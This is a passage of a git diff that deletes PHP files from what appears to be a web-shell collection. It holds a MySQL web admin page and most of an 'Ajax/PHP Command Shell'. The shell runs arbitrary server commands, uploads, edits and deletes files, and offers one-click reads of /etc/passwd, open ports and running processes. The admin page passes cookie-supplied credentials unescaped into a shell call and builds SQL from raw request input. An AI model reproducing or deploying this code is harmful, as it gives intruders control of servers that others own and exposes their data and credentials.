$tablename; - - if( $action == "dumpTable" ) - $filename = $tablename; - else - $filename = $dbname; - - header("Content-disposition: filename=$filename.sql"); - header("Content-type: application/octetstream"); - header("Pragma: no-cache"); - header("Expires: 0"); - - $pResult = mysql_query( "show variables" ); - while( 1 ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - if( $rowArray[0] == "basedir" ) - $bindir = $rowArray[1]."bin/"; - } - - passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD -$dbname -$tablename" ); -} - -function utils() { - global $PHP_SELF, $command; - echo "

Utilities

\n"; - if( $command == "" || substr( $command, 0, 5 ) == "flush" ) { - echo "
\n"; - echo "Show\n"; - echo "\n"; - echo "Flush\n"; - echo "
    \n"; - echo "
  • Hosts\n"; - if( $command == "flush_hosts" ) { - if( mysql_query( "Flush hosts" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Logs\n"; - if( $command == "flush_logs" ) { - if( mysql_query( "Flush logs" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Privileges\n"; - if( $command == "flush_privileges" ) { - if( mysql_query( "Flush privileges" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Tables\n"; - if( $command == "flush_tables" ) { - if( mysql_query( "Flush tables" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Status\n"; - if( $command == "flush_status" ) { - if( mysql_query( "Flush status" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
\n"; - } else { - $queryStr = ereg_replace( "_", " ", $command ); - $pResult = mysql_query( $queryStr ); - if( $pResult == false ) { - echo "Fail"; - return; - } - $col = mysql_num_fields( $pResult ); - - echo "

$queryStr

\n"; - echo "
\n"; - - echo "\n"; - echo "\n"; - for( $i = 0; $i < $col; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - echo "\n"; - } - echo "\n"; - - while( 1 ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - echo "\n"; - for( $j = 0; $j < $col; $j++ ) - echo "\n"; - echo "\n"; - } - echo "
".$field->name."
".htmlspecialchars( $rowArray[$j] )."
\n"; - } -} - -function header_html() { - global $PHP_SELF; - -?> - - -MySQL Web Interface - - - -\n"; - echo "\n"; - echo "[$USERNAME] - \n"; - - echo "Database List | \n"; - if( $tablename != "" ) - echo "Table -List | "; - echo "Utils |\n"; - echo "Logout\n"; - echo "\n"; - echo "\n"; - echo "\n"; -} - -//------------------------------------------------------ MAIN - -if( $action == "logon" || $action == "" || $action == "logout" ) - logon(); -else if( $action == "logon_submit" ) - logon_submit(); -else if( $action == "dumpTable" || $action == "dumpDB" ) { - while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { - if( $var == "mysql_web_admin_username" ) $USERNAME = $value; - if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; - } - $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); - dump(); -} else { - while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { - if( $var == "mysql_web_admin_username" ) $USERNAME = $value; - if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; - } - echo ""; - - if( $mysqlHandle == false ) { - echo "\n"; - echo "\n"; - echo "MySQL Web Interface\n"; - echo "\n"; - echo "\n"; - echo "
\n"; - echo "

Wrong Password!

\n"; - echo "Logon\n"; - echo "
\n"; - echo "\n"; - echo "\n"; - } else { - header_html(); - if( $action == "listDBs" ) - listDatabases(); - else if( $action == "createDB" ) - createDatabase(); - else if( $action == "dropDB" ) - dropDatabase(); - else if( $action == "listTables" ) - listTables(); - else if( $action == "createTable" ) - createTable(); - else if( $action == "dropTable" ) - dropTable(); - else if( $action == "viewSchema" ) - viewSchema(); - else if( $action == "query" ) - viewData( $queryStr ); - else if( $action == "addField" ) - manageField( "add" ); - else if( $action == "addField_submit" ) - manageField_submit( "add" ); - else if( $action == "editField" ) - manageField( "edit" ); - else if( $action == "editField_submit" ) - manageField_submit( "edit" ); - else if( $action == "dropField" ) - dropField(); - else if( $action == "viewData" ) - viewData( "" ); - else if( $action == "addData" ) - manageData( "add" ); - else if( $action == "addData_submit" ) - manageData_submit( "add" ); - else if( $action == "editData" ) - manageData( "edit" ); - else if( $action == "editData_submit" ) - manageData_submit( "edit" ); - else if( $action == "deleteData" ) - deleteData(); - else if( $action == "utils" ) - utils(); - - mysql_close( $mysqlHandle); - footer_html(); - } -} - -?> diff --git a/Mysql interface v1.0.php b/Mysql interface v1.0.php deleted file mode 100644 index f20dbc4..0000000 --- a/Mysql interface v1.0.php +++ /dev/null @@ -1,1166 +0,0 @@ -\n"; -echo "\n"; -echo "Mysql interface\n"; -echo "\n"; -echo "\n"; -echo "
\n"; -echo "
\n"; -echo "
\n"; -echo "

Mysql Interface v1.0

\n"; -echo "
\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "
Username
Password

\n"; -echo "\n"; -echo "
\n"; -echo "

\n"; -echo "
\n"; -echo "
\n"; -echo "


\n"; -echo "\n"; -echo "Copyright © 2005\n
"; -echo "
\n"; -echo "
\n"; -echo "\n"; -echo "\n"; -} - -function logon_submit() { -global $username, $password, $PHP_SELF; - -setcookie( "mysql_web_admin_username", $username ); -setcookie( "mysql_web_admin_password", $password ); -echo ""; -echo ""; -echo ""; -echo ""; -echo ""; -} - -function echoQueryResult() { -global $queryStr, $errMsg; - -if( $errMsg == "" ) $errMsg = "Success"; -if( $queryStr != "" ) { - echo "\n"; - echo "\n"; - echo "\n"; - echo "
Query$queryStr
Result$errMsg

\n"; -} -} - -function listDatabases() { -global $mysqlHandle, $PHP_SELF; - -echo "

Database List

\n"; - -echo "
\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "
\n"; -echo "
\n"; - -echo "\n"; - -$pDB = mysql_list_dbs( $mysqlHandle ); -$num = mysql_num_rows( $pDB ); -for( $i = 0; $i < $num; $i++ ) { - $dbname = mysql_dbname( $pDB, $i ); - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; -} -echo "
$dbnameTableDropDump
\n"; -} - -function createDatabase() { -global $mysqlHandle, $dbname, $PHP_SELF; - -mysql_create_db( $dbname, $mysqlHandle ); -listDatabases(); -} - -function dropDatabase() { -global $mysqlHandle, $dbname, $PHP_SELF; - -mysql_drop_db( $dbname, $mysqlHandle ); -listDatabases(); -} - -function listTables() { -global $mysqlHandle, $dbname, $PHP_SELF; - -echo "

Table List

\n"; -echo "

$dbname

\n"; -echoQueryResult(); -echo "
\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "
\n"; -echo "
\n"; -echo "\n"; -echo "\n"; -echo "\n"; -//echo "
"; -echo "\n"; -echo "
\n"; -echo "
\n"; - -$pTable = mysql_list_tables( $dbname ); - -if( $pTable == 0 ) { - $msg = mysql_error(); - echo "

Error : $msg

\n"; - return; -} -$num = mysql_num_rows( $pTable ); - -echo "\n"; - -for( $i = 0; $i < $num; $i++ ) { - $tablename = mysql_tablename( $pTable, $i ); - - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; -} - -echo "
\n"; - echo "$tablename\n"; - echo "\n"; - echo "Schema\n"; - echo "\n"; - echo "Data\n"; - echo "\n"; - echo "Drop\n"; - echo "\n"; - echo "Dump\n"; - echo "
"; -} - -function createTable() { -global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; - -$queryStr = "CREATE TABLE $tablename ( no INT )"; -mysql_select_db( $dbname, $mysqlHandle ); -mysql_query( $queryStr, $mysqlHandle ); -$errMsg = mysql_error(); - -listTables(); -} - -function dropTable() { -global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; - -$queryStr = "DROP TABLE $tablename"; -mysql_select_db( $dbname, $mysqlHandle ); -mysql_query( $queryStr, $mysqlHandle ); -$errMsg = mysql_error(); - -listTables(); -} - -function viewSchema() { -global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; - -echo "

Table Schema

\n"; -echo "

$dbname > $tablename

\n"; - -echoQueryResult(); - -echo "Add Field | \n"; -echo "View Data\n"; -echo "
\n"; - -$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); -$num = mysql_num_rows( $pResult ); - -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; - -for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - $fieldname = $field["Field"]; - echo "\n"; - echo "\n"; - echo "\n"; -} -echo "
FieldTypeNullKeyDefaultExtraAction
".$field["Field"]."".$field["Type"]."".$field["Null"]."".$field["Key"]."".$field["Default"]."".$field["Extra"]."EditDrop
\n"; -} - -function manageField( $cmd ) { -global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF; - -if( $cmd == "add" ) - echo "

Add Field

\n"; -else if( $cmd == "edit" ) { - echo "

Edit Field

\n"; - $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); - $num = mysql_num_rows( $pResult ); - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - if( $field["Field"] == $fieldname ) { - $fieldtype = $field["Type"]; - $fieldkey = $field["Key"]; - $fieldextra = $field["Extra"]; - $fieldnull = $field["Null"]; - $fielddefault = $field["Default"]; - break; - } - } - $type = strtok( $fieldtype, " (,)\n" ); - if( strpos( $fieldtype, "(" ) ) { - if( $type == "enum" | $type == "set" ) { - $valuelist = strtok( " ()\n" ); - } else { - $M = strtok( " (,)\n" ); - if( strpos( $fieldtype, "," ) ) - $D = strtok( " (,)\n" ); - } - } -} - -echo "

$dbname > $tablename

\n"; -echo "
\n"; - -if( $cmd == "add" ) - echo "\n"; -else if( $cmd == "edit" ) { - echo "\n"; - echo "\n"; -} -echo "\n"; -echo "\n"; - -echo "

Name

\n"; -echo "

\n"; -?> - -

Type

- - -* `M' indicates the maximum display size.
-* `D' applies to floating-point types and indicates the number of digits following the decimal point.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type M  D unsignedzerofillbinary
>TINYINT (-128 ~ 127)O OO 
>SMALLINT (-32768 ~ 32767)O OO 
>MEDIUMINT (-8388608 ~ 8388607)O OO 
>INT (-2147483648 ~ 2147483647)O OO 
>BIGINT (-9223372036854775808 ~ 9223372036854775807)O OO 
>FLOATOO O 
>DOUBLEOO O 
>DECIMAL(NUMERIC)OO O 
>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)     
>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)     
>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])O    
>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)     
>YEAR (1901 ~ 2155, 0000, YYYY)     
>CHARO   O
>VARCHARO   O
>TINYTEXT (0 ~ 255)     
>TEXT (0 ~ 65535)     
>MEDIUMTEXT (0 ~ 16777215)     
>LONGTEXT (0 ~ 4294967295)     
>TINYBLOB (0 ~ 255)     
>BLOB (0 ~ 65535)     
>MEDIUMBLOB (0 ~ 16777215)     
>LONGBLOB (0 ~ 4294967295)     
>ENUM
value list
>SET
value list
- - - - - - - - - - -
MDunsignedzerofillbinaryvalue list (ex: 'apple', 'orange', 'banana')
>>>>>>
- - -

Flags

- - - - - - - - -
not nulldefault valueauto incrementprimary key
>>>>
- -

- -\n"; -else if( $cmd == "edit" ) - echo "\n"; -echo "\n"; -echo "

\n"; -} - -function manageField_submit( $cmd ) { -global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg, - $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist; - -if( $cmd == "add" ) - $queryStr = "ALTER TABLE $tablename ADD $name "; -else if( $cmd == "edit" ) - $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name "; - -if( $M != "" ) - if( $D != "" ) - $queryStr .= "$type($M,$D) "; - else - $queryStr .= "$type($M) "; -else if( $valuelist != "" ) { - $valuelist = stripslashes( $valuelist ); - $queryStr .= "$type($valuelist) "; -} else - $queryStr .= "$type "; - -$queryStr .= "$unsigned $zerofill $binary "; - -if( $default_value != "" ) - $queryStr .= "DEFAULT '$default_value' "; - -$queryStr .= "$not_null $auto_increment"; - -mysql_select_db( $dbname, $mysqlHandle ); -mysql_query( $queryStr, $mysqlHandle ); -$errMsg = mysql_error(); - -// key change -$keyChange = false; -$result = mysql_query( "SHOW KEYS FROM $tablename" ); -$primary = ""; -while( $row = mysql_fetch_array($result) ) - if( $row["Key_name"] == "PRIMARY" ) { - if( $row[Column_name] == $name ) - $keyChange = true; - else - $primary .= ", $row[Column_name]"; - } -if( $primary_key == "PRIMARY KEY" ) { - $primary .= ", $name"; - $keyChange = !$keyChange; -} -$primary = substr( $primary, 2 ); -if( $keyChange == true ) { - $q = "ALTER TABLE $tablename DROP PRIMARY KEY"; - mysql_query( $q ); - $queryStr .= "
\n" . $q; - $errMsg .= "
\n" . mysql_error(); - $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )"; - mysql_query( $q ); - $queryStr .= "
\n" . $q; - $errMsg .= "
\n" . mysql_error(); -} - -viewSchema(); -} - -function dropField() { -global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; - -$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname"; -mysql_select_db( $dbname, $mysqlHandle ); -mysql_query( $queryStr , $mysqlHandle ); -$errMsg = mysql_error(); - -viewSchema(); -} - -function viewData( $queryStr ) { -global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby; - -echo "

Data in Table

\n"; -if( $tablename != "" ) - echo "

$dbname > $tablename

\n"; -else - echo "

$dbname

\n"; - -$queryStr = stripslashes( $queryStr ); -if( $queryStr == "" ) { - $queryStr = "SELECT * FROM $tablename"; - if( $orderby != "" ) - $queryStr .= " ORDER BY $orderby"; - echo "Add Data | \n"; - echo "Schema\n"; -} - -$pResult = mysql_db_query( $dbname, $queryStr ); -$errMsg = mysql_error(); - -$GLOBALS[queryStr] = $queryStr; - -if( $pResult == false ) { - echoQueryResult(); - return; -} -if( $pResult == 1 ) { - $errMsg = "Success"; - echoQueryResult(); - return; -} - -echo "
\n"; - -$row = mysql_num_rows( $pResult ); -$col = mysql_num_fields( $pResult ); - -if( $row == 0 ) { - echo "No Data Exist!"; - return; -} - -if( $rowperpage == "" ) $rowperpage = 20; -if( $page == "" ) $page = 0; -else $page--; -mysql_data_seek( $pResult, $page * $rowperpage ); - -echo "\n"; -echo "\n"; -for( $i = 0; $i < $col; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - echo "\n"; -} -echo "\n"; -echo "\n"; - -for( $i = 0; $i < $rowperpage; $i++ ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - echo "\n"; - $key = ""; - for( $j = 0; $j < $col; $j++ ) { - $data = $rowArray[$j]; - - $field = mysql_fetch_field( $pResult, $j ); - if( $field->primary_key == 1 ) - $key .= "&" . $field->name . "=" . $data; - - if( strlen( $data ) > 20 ) - $data = substr( $data, 0, 20 ) . "..."; - $data = htmlspecialchars( $data ); - echo "\n"; - } - - if( $key == "" ) - echo "\n"; - else { - echo "\n"; - echo "\n"; - } - echo "\n"; -} -echo "
"; - echo "".$field->name."\n"; - echo "Action
\n"; - echo "$data\n"; - echo "no KeyEditDelete
\n"; - -echo "\n"; -echo "
\n"; -echo "\n"; -echo ($page+1)."/".(int)($row/$rowperpage+1)." page"; -echo "\n"; -echo " | "; -if( $page > 0 ) { - echo "Prev\n"; -} else - echo "Prev"; -echo " | "; -if( $page < ($row/$rowperpage)-1 ) { - echo "Next\n"; -} else - echo "Next"; -echo " | "; -if( $row > $rowperpage ) { - echo "\n"; - echo "\n"; -} -echo "
\n"; -echo "
\n"; -} - -function manageData( $cmd ) { -global $mysqlHandle, $dbname, $tablename, $PHP_SELF; - -if( $cmd == "add" ) - echo "

Add Data

\n"; -else if( $cmd == "edit" ) { - echo "

Edit Data

\n"; - $pResult = mysql_list_fields( $dbname, $tablename ); - $num = mysql_num_fields( $pResult ); - - $key = ""; - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - if( $field->primary_key == 1 ) - if( $field->numeric == 1 ) - $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; - else - $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; - } - $key = substr( $key, 0, strlen($key)-4 ); - - mysql_select_db( $dbname, $mysqlHandle ); - $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle ); - $data = mysql_fetch_array( $pResult ); -} - -echo "

$dbname > $tablename

\n"; - -echo "
\n"; -if( $cmd == "add" ) - echo "\n"; -else if( $cmd == "edit" ) - echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; - -$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); -$num = mysql_num_rows( $pResult ); - -$pResultLen = mysql_list_fields( $dbname, $tablename ); - -for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - $fieldname = $field["Field"]; - $fieldtype = $field["Type"]; - $len = mysql_field_len( $pResultLen, $i ); - - echo ""; - echo ""; - echo ""; - echo "\n"; - $value = htmlspecialchars($data[$i]); - if( $cmd == "add" ) { - $type = strtok( $fieldtype, " (,)\n" ); - if( $type == "enum" || $type == "set" ) { - echo "\n"; - } else { - if( $len < 40 ) - echo "\n"; - else - echo "\n"; - } else { - if( $len < 40 ) - echo "\n"; - else - echo ""; -} -echo "
NameTypeFunctionData
$fieldname".$field["Type"]."\n"; - echo "\n"; - echo "\n"; - if( $type == "enum" ) - echo "\n"; - echo strtok( "'" ); - while( $str = strtok( "'" ) ) { - echo "\n"; - } - } else if( $cmd == "edit" ) { - $type = strtok( $fieldtype, " (,)\n" ); - if( $type == "enum" || $type == "set" ) { - echo "\n"; - if( $type == "enum" ) - echo "\n"; - echo strtok( "'" ); - while( $str = strtok( "'" ) ) { - if( $value == $str ) - echo "\n"; - } - } - echo "

\n"; -if( $cmd == "add" ) - echo "\n"; -else if( $cmd == "edit" ) - echo "\n"; -echo "\n"; -echo "

\n"; -} - -function manageData_submit( $cmd ) { -global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; - -$pResult = mysql_list_fields( $dbname, $tablename ); -$num = mysql_num_fields( $pResult ); - -mysql_select_db( $dbname, $mysqlHandle ); -if( $cmd == "add" ) - $queryStr = "INSERT INTO $tablename VALUES ("; -else if( $cmd == "edit" ) - $queryStr = "REPLACE INTO $tablename VALUES ("; -for( $i = 0; $i < $num-1; $i++ ) { - $field = mysql_fetch_field( $pResult ); - $func = $GLOBALS[$field->name."_function"]; - if( $func != "" ) - $queryStr .= " $func("; - if( $field->numeric == 1 ) { - $queryStr .= $GLOBALS[$field->name]; - if( $func != "" ) - $queryStr .= "),"; - else - $queryStr .= ","; - } else { - $queryStr .= "'" . $GLOBALS[$field->name]; - if( $func != "" ) - $queryStr .= "'),"; - else - $queryStr .= "',"; - } -} -$field = mysql_fetch_field( $pResult ); -if( $field->numeric == 1 ) - $queryStr .= $GLOBALS[$field->name] . ")"; -else - $queryStr .= "'" . $GLOBALS[$field->name] . "')"; - -mysql_query( $queryStr , $mysqlHandle ); -$errMsg = mysql_error(); - -viewData( "" ); -} - -function deleteData() { -global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; - -$pResult = mysql_list_fields( $dbname, $tablename ); -$num = mysql_num_fields( $pResult ); - -$key = ""; -for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - if( $field->primary_key == 1 ) - if( $field->numeric == 1 ) - $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; - else - $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; -} -$key = substr( $key, 0, strlen($key)-4 ); - -mysql_select_db( $dbname, $mysqlHandle ); -$queryStr = "DELETE FROM $tablename WHERE $key"; -mysql_query( $queryStr, $mysqlHandle ); -$errMsg = mysql_error(); - -viewData( "" ); -} - -function dump() { -global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename; - -if( $action == "dumpTable" ) - $filename = $tablename; -else - $filename = $dbname; - -header("Content-disposition: filename=$filename.sql"); -header("Content-type: application/octetstream"); -header("Pragma: no-cache"); -header("Expires: 0"); - -$pResult = mysql_query( "show variables" ); -while( 1 ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - if( $rowArray[0] == "basedir" ) - $bindir = $rowArray[1]."bin/"; -} - -passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD $dbname $tablename" ); -} - -function utils() { -global $PHP_SELF, $command; -echo "

Utilities

\n"; -if( $command == "" || substr( $command, 0, 5 ) == "flush" ) { - echo "
\n"; - echo "Show\n"; - echo "\n"; - echo "Flush\n"; - echo "
    \n"; - echo "
  • Hosts\n"; - if( $command == "flush_hosts" ) { - if( mysql_query( "Flush hosts" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Logs\n"; - if( $command == "flush_logs" ) { - if( mysql_query( "Flush logs" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Privileges\n"; - if( $command == "flush_privileges" ) { - if( mysql_query( "Flush privileges" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Tables\n"; - if( $command == "flush_tables" ) { - if( mysql_query( "Flush tables" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Status\n"; - if( $command == "flush_status" ) { - if( mysql_query( "Flush status" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
\n"; -} else { - $queryStr = ereg_replace( "_", " ", $command ); - $pResult = mysql_query( $queryStr ); - if( $pResult == false ) { - echo "Fail"; - return; - } - $col = mysql_num_fields( $pResult ); - - echo "

$queryStr

\n"; - echo "
\n"; - - echo "\n"; - echo "\n"; - for( $i = 0; $i < $col; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - echo "\n"; - } - echo "\n"; - - while( 1 ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - echo "\n"; - for( $j = 0; $j < $col; $j++ ) - echo "\n"; - echo "\n"; - } - echo "
".$field->name."
".htmlspecialchars( $rowArray[$j] )."
\n"; -} -} - -function header_html() { -global $PHP_SELF; - -?> - - -MySQL Web Interface - - - -\n"; -echo "\n"; -echo "[$USERNAME] - \n"; - -echo "Database List | \n"; -if( $tablename != "" ) - echo "Table List | "; -echo "Utils |\n"; -echo "Logout\n"; -echo "\n"; -echo "\n"; -echo "\n"; -} - -//------------------------------------------------------ MAIN - -if( $action == "logon" || $action == "" || $action == "logout" ) -logon(); -else if( $action == "logon_submit" ) -logon_submit(); -else if( $action == "dumpTable" || $action == "dumpDB" ) { -while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { - if( $var == "mysql_web_admin_username" ) $USERNAME = $value; - if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; -} -$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); -dump(); -} else { -while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { - if( $var == "mysql_web_admin_username" ) $USERNAME = $value; - if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; -} -echo ""; - -if( $mysqlHandle == false ) { - echo "\n"; - echo "\n"; - echo "MySQL Web Interface\n"; - echo "\n"; - echo "\n"; - echo "
\n"; - echo "

Wrong Password!

\n"; - echo "Logon\n"; - echo "
\n"; - echo "\n"; - echo "\n"; -} else { - header_html(); - if( $action == "listDBs" ) - listDatabases(); - else if( $action == "createDB" ) - createDatabase(); - else if( $action == "dropDB" ) - dropDatabase(); - else if( $action == "listTables" ) - listTables(); - else if( $action == "createTable" ) - createTable(); - else if( $action == "dropTable" ) - dropTable(); - else if( $action == "viewSchema" ) - viewSchema(); - else if( $action == "query" ) - viewData( $queryStr ); - else if( $action == "addField" ) - manageField( "add" ); - else if( $action == "addField_submit" ) - manageField_submit( "add" ); - else if( $action == "editField" ) - manageField( "edit" ); - else if( $action == "editField_submit" ) - manageField_submit( "edit" ); - else if( $action == "dropField" ) - dropField(); - else if( $action == "viewData" ) - viewData( "" ); - else if( $action == "addData" ) - manageData( "add" ); - else if( $action == "addData_submit" ) - manageData_submit( "add" ); - else if( $action == "editData" ) - manageData( "edit" ); - else if( $action == "editData_submit" ) - manageData_submit( "edit" ); - else if( $action == "deleteData" ) - deleteData(); - else if( $action == "utils" ) - utils(); - - mysql_close( $mysqlHandle); - footer_html(); -} -} - -?> \ No newline at end of file diff --git a/OTHER/Ajax_PHP Command Shell.php b/OTHER/Ajax_PHP Command Shell.php deleted file mode 100644 index d08768a..0000000 --- a/OTHER/Ajax_PHP Command Shell.php +++ /dev/null @@ -1,646 +0,0 @@ - 'ClearScreen()', -'Clear History' => 'ClearHistory()', -'Can I function?' => "runcommand('canirun','GET')", -'Get server info' => "runcommand('showinfo','GET')", -'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')", -'Open ports' => "runcommand('netstat -an | grep -i listen','GET')", -'Running processes' => "runcommand('ps -aux','GET')", -'Readme' => "runcommand('shellhelp','GET')" - -); -$thisfile = basename(__FILE__); - -$style = ''; -$sess = __FILE__.$password; -if(isset($_POST['p4ssw0rD'])) -{ - if($_POST['p4ssw0rD'] == $password) - { - $_SESSION[$sess] = $_POST['p4ssw0rD']; - } - else - { - die("Wrong password"); - } - -} -if($_SESSION[$sess] == $password) -{ - if(isset($_SESSION['workdir'])) - { - if(file_exists($_SESSION['workdir']) && is_dir($_SESSION['workdir'])) - { - chdir($_SESSION['workdir']); - } - } - - if(isset($_FILES['uploadedfile']['name'])) - { - $target_path = "./"; - $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); - if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { - - } - } - - if(isset($_GET['runcmd'])) - { - - $cmd = $_GET['runcmd']; - - print "".get_current_user()."~# ". htmlspecialchars($cmd)."
"; - - if($cmd == "") - { - print "Empty Command..type \"shellhelp\" for some ehh...help"; - } - - elseif($cmd == "upload") - { - print '
Uploading to: '.realpath("."); - if(is_writable(realpath("."))) - { - print "
I can write to this directory"; - } - else - { - print "
I can't write to this directory, please choose another one."; - } - - } - elseif((ereg("changeworkdir (.*)",$cmd,$file)) || (ereg("cd (.*)",$cmd,$file))) - { - if(file_exists($file[1]) && is_dir($file[1])) - { - chdir($file[1]); - $_SESSION['workdir'] = $file[1]; - print "Current directory changed to ".$file[1]; - } - else - { - print "Directory not found"; - } - } - - elseif(strtolower($cmd) == "shellhelp") - { -print 'Ajax/PHP Command Shell -© By Ironfist - -The shell can be used by anyone to command any server, the main purpose was -to create a shell that feels as dynamic as possible, is expandable and easy -to understand. - -If one of the command execution functions work, the shell will function fine. -Try the "canirun" command to check this. - -Any (not custom) command is a UNIX command, like ls, cat, rm ... If you\'re -not used to these commands, google a little. - -Custom Functions -If you want to add your own custom command in the Quick Commands list, check -out the code. The $function array contains \'func name\' => \'javascript function\'. -Take a look at the built-in functions for examples. - -I know this readme isn\'t providing too much information, but hell, does this shell -even require one :P - -- Iron - '; - - } - elseif(ereg("editfile (.*)",$cmd,$file)) - { - if(file_exists($file[1]) && !is_dir($file[1])) - { - print "

"; - } - else - { - print "File not found."; - } - } - elseif(ereg("deletefile (.*)",$cmd,$file)) - { - if(is_dir($file[1])) - { - if(rmdir($file[1])) - { - print "Directory succesfully deleted."; - } - else - { - print "Couldn't delete directory!"; - } - } - else - { - if(unlink($file[1])) - { - print "File succesfully deleted."; - } - else - { - print "Couldn't delete file!"; - } - } - } - elseif(strtolower($cmd) == "canirun") - { - print "If any of these functions is Enabled, the shell will function like it should.
"; - if(function_exists(passthru)) - { - print "Passthru: Enabled
"; - } - else - { - print "Passthru: Disabled
"; - } - - if(function_exists(exec)) - { - print "Exec: Enabled
"; - } - else - { - print "Exec: Disabled
"; - } - - if(function_exists(system)) - { - print "System: Enabled
"; - } - else - { - print "System: Disabled
"; - } - if(function_exists(shell_exec)) - { - print "Shell_exec: Enabled
"; - } - else - { - print "Shell_exec: Disabled
"; - } - print "
Safe mode will prevent some stuff, maybe command execution, if you're looking for a
reason why the commands aren't executed, this is probally it.
"; - if( ini_get('safe_mode') ){ - print "Safe Mode: Enabled"; - } - else - { - print "Safe Mode: Disabled"; - } - print "

Open_basedir will block access to some files you shouldn't access.
